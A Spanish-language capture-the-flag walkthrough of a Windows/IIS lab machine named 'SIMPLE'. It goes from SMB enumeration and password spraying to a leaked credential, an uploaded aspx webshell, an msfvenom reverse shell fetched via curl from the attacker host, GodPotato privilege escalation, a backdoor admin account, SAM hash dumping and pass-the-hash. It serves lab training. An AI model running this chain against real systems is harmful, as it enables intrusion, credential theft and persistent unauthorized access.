Enumeración
Iniciamos la máquina escaneando los puertos de la máquina con nmap
donde encontramos varios puertos abiertos, la mayoria son puertos tipicos de windows
❯ nmap 192.168.100.80
Nmap scan report for 192.168.100.80
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
Para hacer un reconocimiento basico podemos usar crackmapexec
, al pasarle la ip por SMB detecta el nombre del equipo, este es local
y no pertenece a un dominio
❯ crackmapexec smb 192.168.100.80
SMB 192.168.100.80 445 SIMPLE [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)
Algo a tener en cuenta mas adelante es que el servidor esta montado en un IIS
❯ curl -s 192.168.100.80 -I | grep Server
Server: Microsoft-IIS/10.0
Access - bogo
Si vamos a la web nos encontramos una web que aun esta en desarrollo, algo interesante es que en los agradecimientos podemos ver varios posibles usuarios
Ya que no tenemos nada mas podemos probar con crackmapexec
si algun usuario usa su mismo usuario como contraseña, solo el usuario bogo
nos devuelve un [+]
❯ crackmapexec smb 192.168.100.80 -u users.txt -p users.txt --no-bruteforce --continue-on-success
SMB 192.168.100.80 445 SIMPLE [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)
SMB 192.168.100.80 445 SIMPLE [-] Simple\ruy:ruy STATUS_LOGON_FAILURE
SMB 192.168.100.80 445 SIMPLE [-] Simple\marcos:marcos STATUS_LOGON_FAILURE
SMB 192.168.100.80 445 SIMPLE [-] Simple\lander:lander STATUS_LOGON_FAILURE
SMB 192.168.100.80 445 SIMPLE [+] Simple\bogo:bogo
SMB 192.168.100.80 445 SIMPLE [-] Simple\vaiper:vaiper STATUS_LOGON_FAILURE
Comprobamos con crackmapexec y si listamos los recursos smb
compartidos encontramos un recurso LOGS
donde tenemos privilegios READ
o de lectura
❯ crackmapexec smb 192.168.100.80 -u bogo -p bogo --shares
SMB 192.168.100.80 445 SIMPLE [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)
SMB 192.168.100.80 445 SIMPLE [+] Simple\bogo:bogo
SMB 192.168.100.80 445 SIMPLE [*] Enumerated shares
SMB 192.168.100.80 445 SIMPLE Share Permissions Remark
SMB 192.168.100.80 445 SIMPLE ----- ----------- ------
SMB 192.168.100.80 445 SIMPLE ADMIN$ Admin remota
SMB 192.168.100.80 445 SIMPLE C$ Recurso predeterminado
SMB 192.168.100.80 445 SIMPLE IPC$ READ IPC remota
SMB 192.168.100.80 445 SIMPLE LOGS READ
SMB 192.168.100.80 445 SIMPLE WEB
Access - marcos
Al acceder al recurso compartido encontramos un archivo .log
, en el archivo hay algunos comandos de powershell
, y en uno de ellos se lekea una contraseña
❯ impacket-smbclient bogo:bogo@192.168.100.80
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use logs
# ls
drw-rw-rw- 0 Sun Oct 8 21:23:36 2023 .
drw-rw-rw- 0 Sun Oct 8 21:23:36 2023 ..
-rw-rw-rw- 2200 Sun Oct 8 21:23:36 2023 20231008.log
# get 20231008.log
# exit
❯ grep -ri password 20231008.log
PS C:\> net use \\127.0.0.1\WEB /user:marcos SuperPassword
Comprobamos la contraseña de marcos con crackmapexec
y es valida, si listamos ahora los recursos compartidos tenemos WRITE
o de escritura en WEB
❯ crackmapexec smb 192.168.100.80 -u marcos -p SuperPassword
SMB 192.168.100.80 445 SIMPLE [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)
SMB 192.168.100.80 445 SIMPLE [+] Simple\marcos:SuperPassword
❯ crackmapexec smb 192.168.100.80 -u marcos -p SuperPassword --shares
SMB 192.168.100.80 445 SIMPLE [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)
SMB 192.168.100.80 445 SIMPLE [+] Simple\marcos:SuperPassword
SMB 192.168.100.80 445 SIMPLE [*] Enumerated shares
SMB 192.168.100.80 445 SIMPLE Share Permissions Remark
SMB 192.168.100.80 445 SIMPLE ----- ----------- ------
SMB 192.168.100.80 445 SIMPLE ADMIN$ Admin remota
SMB 192.168.100.80 445 SIMPLE C$ Recurso predeterminado
SMB 192.168.100.80 445 SIMPLE IPC$ READ IPC remota
SMB 192.168.100.80 445 SIMPLE LOGS READ
SMB 192.168.100.80 445 SIMPLE WEB READ,WRITE
Shell - defaultapppool
Si nos conectamos al recurso smb
podemos encontrar todos los archivos de la web
❯ impacket-smbclient marcos:SuperPassword@192.168.100.80
Impacket v0.11.0 - Copyright 2023 Fortra
Type help for list of commands
# use web
# ls
drw-rw-rw- 0 Fri Oct 13 15:30:38 2023 .
drw-rw-rw- 0 Fri Oct 13 15:30:38 2023 ..
drw-rw-rw- 0 Sun Oct 8 21:22:20 2023 03-comming-soon
drw-rw-rw- 0 Sun Oct 8 20:00:33 2023 aspnet_client
drw-rw-rw- 0 Sun Oct 8 21:18:47 2023 common-js
drw-rw-rw- 0 Sun Oct 8 21:18:47 2023 fonts
drw-rw-rw- 0 Sun Oct 8 21:18:47 2023 images
-rw-rw-rw- 1481 Sun Oct 8 21:26:47 2023 index.html
#
Ya que sabemos que corre un IIS
podemos intentar subir una webshell en aspx
# put cmd.aspx
# ls cmd.aspx
-rw-rw-rw- 1547 Fri Oct 13 15:36:49 2023 cmd.aspx
#
Desde la webshell podemos ejecutar comandos
como el usuario defaultapppool
Para conseguir una shell
crearemos un exe
el cual nos enviara una powershell
a nuestro host por el puerto 443 y lo compartimos con un servidor http
de python
❯ msfvenom -p windows/x64/powershell_reverse_tcp LHOST=192.168.100.70 LPORT=443 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 1897 bytes
Final size of exe file: 8192 bytes
Saved as: shell.exe
❯ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Ahora simplemente cambiamos el comando por uno que descargue y ejecute el exe
curl 192.168.100.70/shell.exe -o C:\ProgramData\shell.exe && C:\ProgramData\shell.exe
Al ejecutarlo nos envia una powershell
como la clasica cuenta de servicio de IIS
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.80
Windows PowerShell running as user SIMPLE$ on SIMPLE
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\windows\system32\inetsrv> whoami
iis apppool\defaultapppool
PS C:\windows\system32\inetsrv>
Shell - Administrator
Como tenemos una shell de una cuenta de servicio es probable que tenga privilegios interesantes, mirando los privilegios podemos encontrar SeImpersonatePrivilege
PS C:\windows\system32\inetsrv> whoami /priv
INFORMACIÓN DE PRIVILEGIOS
--------------------------
Nombre de privilegio Descripción Estado
============================= ================================================= =============
SeAssignPrimaryTokenPrivilege Reemplazar un símbolo (token) de nivel de proceso Deshabilitado
SeIncreaseQuotaPrivilege Ajustar las cuotas de la memoria para un proceso Deshabilitado
SeAuditPrivilege Generar auditorías de seguridad Deshabilitado
SeChangeNotifyPrivilege Omitir comprobación de recorrido Habilitada
SeImpersonatePrivilege Suplantar a un cliente tras la autenticación Habilitada
SeCreateGlobalPrivilege Crear objetos globales Habilitada
SeIncreaseWorkingSetPrivilege Aumentar el espacio de trabajo de un proceso Deshabilitado
PS C:\windows\system32\inetsrv>
Al ser un windows actual sera dificil explotarlo con JuicyPotato, como alternativa podemos usar GodPotato pensado para explotarse en versiones mas actuales
PS C:\ProgramData> curl 192.168.100.70/GodPotato-NET4.exe -o GodPotato-NET4.exe
PS C:\ProgramData> .\GodPotato-NET4.exe -cmd "cmd /c whoami"
[*] CombaseModule: 0x140716628049920
[*] DispatchTable: 0x140716630367472
[*] UseProtseqFunction: 0x140716629742752
[*] UseProtseqFunctionParamCount: 6
[*] HookRPC
[*] Start PipeServer
[*] CreateNamedPipe \\.\pipe\767414ec-1235-40f4-a222-d04ee94ac13a\pipe\epmapper
[*] Trigger RPCSS
[*] DCOM obj GUID: 00000000-0000-0000-c000-000000000046
[*] DCOM obj IPID: 00006402-08c0-ffff-b6b8-931cb982c960
[*] DCOM obj OXID: 0xe44ea31f9a405558
[*] DCOM obj OID: 0x9b14dac06534a8d
[*] DCOM obj Flags: 0x281
[*] DCOM obj PublicRefs: 0x0
[*] Marshal Object bytes len: 100
[*] UnMarshal Object
[*] Pipe Connected!
[*] CurrentUser: NT AUTHORITY\Servicio de red
[*] CurrentsImpersonationLevel: Impersonation
[*] Start Search System Token
[*] PID : 736 Token:0x844 User: NT AUTHORITY\SYSTEM ImpersonationLevel: Impersonation
[*] Find System Token : True
[*] UnmarshalObject: 0x80070776
[*] CurrentUser: NT AUTHORITY\SYSTEM
[*] process start with pid 2636
nt authority\system
PS C:\ProgramData>
Al ejecutarlo podemos ejecutar un comando como nt authority\system
asi que para conseguir una shell podemos ejecutar el shell.exe
que subimos antes
PS C:\ProgramData> .\GodPotato-NET4.exe -cmd "cmd /c C:\ProgramData\shell.exe"
Unos segundos despues recibimos una powershell
como este usuario que tiene maximos privilegios en el equipo, ahora podemos leer ambas flags
de la maquina
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 192.168.100.80
Windows PowerShell running as user SIMPLE$ on SIMPLE
Copyright (C) Microsoft Corporation. All rights reserved.
PS C:\ProgramData> whoami
nt authority\system
PS C:\ProgramData> type C:\Users\marcos\Desktop\user.txt
SIMPLE{ASPXT0SH311}
PS C:\ProgramData> type C:\Users\Administrador\Desktop\root.txt
SIMPLE{S31MP3R50N4T3PR1V1L363}
PS C:\ProgramData>
Si quisieramos obtener una shell algo mas interactiva podriamos crear un usuario administrador
para despues con dumpear la sam
para ver todos los hashes NT
PS C:\ProgramData> net user pwned password123# /add
Se ha completado el comando correctamente.
PS C:\ProgramData> net localgroup Administradores pwned /add
Se ha completado el comando correctamente.
PS C:\ProgramData>
❯ crackmapexec smb 192.168.100.80 -u pwned -p password123# --sam
SMB 192.168.100.80 445 SIMPLE [*] Windows 10.0 Build 17763 x64 (name:SIMPLE) (domain:Simple) (signing:False) (SMBv1:False)
SMB 192.168.100.80 445 SIMPLE [+] Simple\pwned:password123# (Pwn3d!)
SMB 192.168.100.80 445 SIMPLE [*] Dumping SAM hashes
SMB 192.168.100.80 445 SIMPLE Administrador:500:aad3b435b51404eeaad3b435b51404ee:4a7b21b82decebdc8589948bfcf4da16:::
SMB 192.168.100.80 445 SIMPLE Invitado:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.100.80 445 SIMPLE DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.100.80 445 SIMPLE WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
SMB 192.168.100.80 445 SIMPLE marcos:1003:aad3b435b51404eeaad3b435b51404ee:104a92f7a0c45e38c04d1b283460be2b:::
SMB 192.168.100.80 445 SIMPLE bogo:1006:aad3b435b51404eeaad3b435b51404ee:5ec8ca783dec29fc24d55640edc6aa36:::
SMB 192.168.100.80 445 SIMPLE pwned:1007:aad3b435b51404eeaad3b435b51404ee:e5abfbc0410c5ce37bae2276dee52aaf:::
SMB 192.168.100.80 445 SIMPLE [+] Added 7 SAM hashes to the database
Finalmente podemos conectarnos con evil-winrm
haciendo un passthehash como el usuario Administrator
y asi obtener una powershell mucho mas interactiva
❯ evil-winrm -i 192.168.100.80 -u Administrador -H 4a7b21b82decebdc8589948bfcf4da16
PS C:\Users\Administrador\Documents> whoami
simple\administrador
PS C:\Users\Administrador\Documents> type ..\Desktop\root.txt
SIMPLE{S31MP3R50N4T3PR1V1L363}
PS C:\Users\Administrador\Documents>